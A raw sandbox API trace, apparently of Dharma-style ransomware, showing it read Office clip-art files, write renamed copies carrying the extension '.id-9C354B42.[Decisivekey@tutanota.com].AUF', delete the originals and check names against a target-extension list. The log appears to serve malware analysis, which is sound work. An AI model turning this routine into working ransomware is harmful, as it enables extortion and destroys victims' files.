lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0221.960] lstrlenW (lpString=".jpg") returned 4 [0221.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.965] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.965] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0221.966] GetLastError () returned 0x0 [0221.966] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1234, lpOverlapped=0x0) returned 1 [0222.034] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1240, lpOverlapped=0x0) returned 1 [0222.035] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.035] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.035] SetEndOfFile (hFile=0x1f0) returned 1 [0222.043] CloseHandle (hObject=0x1f0) returned 1 [0222.043] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.043] SetEndOfFile (hFile=0x208) returned 1 [0222.043] CloseHandle (hObject=0x208) returned 1 [0222.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0222.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0222.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0222.044] lstrlenW (lpString=".doc") returned 4 [0222.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.044] lstrlenW (lpString=".docx") returned 5 [0222.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.044] lstrlenW (lpString=".pdf") returned 4 [0222.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.044] lstrlenW (lpString=".xls") returned 4 [0222.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.044] lstrlenW (lpString=".xlsx") returned 5 [0222.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.044] lstrlenW (lpString=".ppt") returned 4 [0222.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0222.044] lstrlenW (lpString=".zip") returned 4 [0222.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.044] lstrlenW (lpString=".rar") returned 4 [0222.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.044] lstrlenW (lpString=".bz2") returned 4 [0222.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.044] lstrlenW (lpString=".7z") returned 3 [0222.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0222.044] lstrlenW (lpString=".dbf") returned 4 [0222.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0222.044] lstrlenW (lpString=".1cd") returned 4 [0222.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0222.044] lstrlenW (lpString=".jpg") returned 4 [0222.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.046] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2472) returned 1 [0222.046] CloseHandle (hObject=0x208) returned 1 [0222.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0222.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.047] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.047] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.047] GetLastError () returned 0x0 [0222.047] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x9a8, lpOverlapped=0x0) returned 1 [0222.064] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0222.065] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.065] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.065] SetEndOfFile (hFile=0x1f0) returned 1 [0222.066] CloseHandle (hObject=0x1f0) returned 1 [0222.066] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.066] SetEndOfFile (hFile=0x208) returned 1 [0222.066] CloseHandle (hObject=0x208) returned 1 [0222.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0222.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0222.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0222.067] lstrlenW (lpString=".doc") returned 4 [0222.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.067] lstrlenW (lpString=".docx") returned 5 [0222.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.067] lstrlenW (lpString=".pdf") returned 4 [0222.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.067] lstrlenW (lpString=".xls") returned 4 [0222.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.067] lstrlenW (lpString=".xlsx") returned 5 [0222.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.067] lstrlenW (lpString=".ppt") returned 4 [0222.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0222.067] lstrlenW (lpString=".zip") returned 4 [0222.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.067] lstrlenW (lpString=".rar") returned 4 [0222.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.067] lstrlenW (lpString=".bz2") returned 4 [0222.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.067] lstrlenW (lpString=".7z") returned 3 [0222.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0222.067] lstrlenW (lpString=".dbf") returned 4 [0222.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0222.069] lstrlenW (lpString=".1cd") returned 4 [0222.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0222.069] lstrlenW (lpString=".jpg") returned 4 [0222.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.075] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3662) returned 1 [0222.075] CloseHandle (hObject=0x220) returned 1 [0222.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0222.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.076] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.076] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.076] GetLastError () returned 0x0 [0222.076] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xe4e, lpOverlapped=0x0) returned 1 [0222.239] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe50, lpOverlapped=0x0) returned 1 [0222.241] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.242] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.242] SetEndOfFile (hFile=0x208) returned 1 [0222.314] CloseHandle (hObject=0x208) returned 1 [0222.314] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.314] SetEndOfFile (hFile=0x220) returned 1 [0222.315] CloseHandle (hObject=0x220) returned 1 [0222.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0222.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0222.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0222.324] lstrlenW (lpString=".doc") returned 4 [0222.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.324] lstrlenW (lpString=".docx") returned 5 [0222.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.324] lstrlenW (lpString=".pdf") returned 4 [0222.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.324] lstrlenW (lpString=".xls") returned 4 [0222.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.324] lstrlenW (lpString=".xlsx") returned 5 [0222.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.324] lstrlenW (lpString=".ppt") returned 4 [0222.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0222.325] lstrlenW (lpString=".zip") returned 4 [0222.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.325] lstrlenW (lpString=".rar") returned 4 [0222.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.325] lstrlenW (lpString=".bz2") returned 4 [0222.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.325] lstrlenW (lpString=".7z") returned 3 [0222.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0222.325] lstrlenW (lpString=".dbf") returned 4 [0222.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0222.325] lstrlenW (lpString=".1cd") returned 4 [0222.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0222.325] lstrlenW (lpString=".jpg") returned 4 [0222.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.326] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.331] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.331] GetLastError () returned 0x0 [0222.331] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xe86, lpOverlapped=0x0) returned 1 [0222.344] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe90, lpOverlapped=0x0) returned 1 [0222.345] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.345] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.345] SetEndOfFile (hFile=0x1f8) returned 1 [0222.345] CloseHandle (hObject=0x1f8) returned 1 [0222.345] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.345] SetEndOfFile (hFile=0x21c) returned 1 [0222.345] CloseHandle (hObject=0x21c) returned 1 [0222.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0222.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0222.364] lstrlenW (lpString=".doc") returned 4 [0222.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.364] lstrlenW (lpString=".docx") returned 5 [0222.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.364] lstrlenW (lpString=".pdf") returned 4 [0222.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.364] lstrlenW (lpString=".xls") returned 4 [0222.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.364] lstrlenW (lpString=".xlsx") returned 5 [0222.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.364] lstrlenW (lpString=".ppt") returned 4 [0222.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0222.364] lstrlenW (lpString=".zip") returned 4 [0222.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.364] lstrlenW (lpString=".rar") returned 4 [0222.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.364] lstrlenW (lpString=".bz2") returned 4 [0222.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.364] lstrlenW (lpString=".7z") returned 3 [0222.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0222.364] lstrlenW (lpString=".dbf") returned 4 [0222.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0222.364] lstrlenW (lpString=".1cd") returned 4 [0222.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0222.365] lstrlenW (lpString=".jpg") returned 4 [0222.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.365] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.365] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.365] GetLastError () returned 0x0 [0222.365] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x844, lpOverlapped=0x0) returned 1 [0222.397] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x850, lpOverlapped=0x0) returned 1 [0222.398] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.398] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.398] SetEndOfFile (hFile=0x1f8) returned 1 [0222.400] CloseHandle (hObject=0x1f8) returned 1 [0222.400] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.400] SetEndOfFile (hFile=0x21c) returned 1 [0222.401] CloseHandle (hObject=0x21c) returned 1 [0222.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0222.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0222.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0222.401] lstrlenW (lpString=".doc") returned 4 [0222.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.401] lstrlenW (lpString=".docx") returned 5 [0222.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.401] lstrlenW (lpString=".pdf") returned 4 [0222.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.401] lstrlenW (lpString=".xls") returned 4 [0222.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.401] lstrlenW (lpString=".xlsx") returned 5 [0222.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.401] lstrlenW (lpString=".ppt") returned 4 [0222.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0222.401] lstrlenW (lpString=".zip") returned 4 [0222.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.401] lstrlenW (lpString=".rar") returned 4 [0222.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.401] lstrlenW (lpString=".bz2") returned 4 [0222.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.401] lstrlenW (lpString=".7z") returned 3 [0222.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0222.401] lstrlenW (lpString=".dbf") returned 4 [0222.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0222.402] lstrlenW (lpString=".1cd") returned 4 [0222.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0222.402] 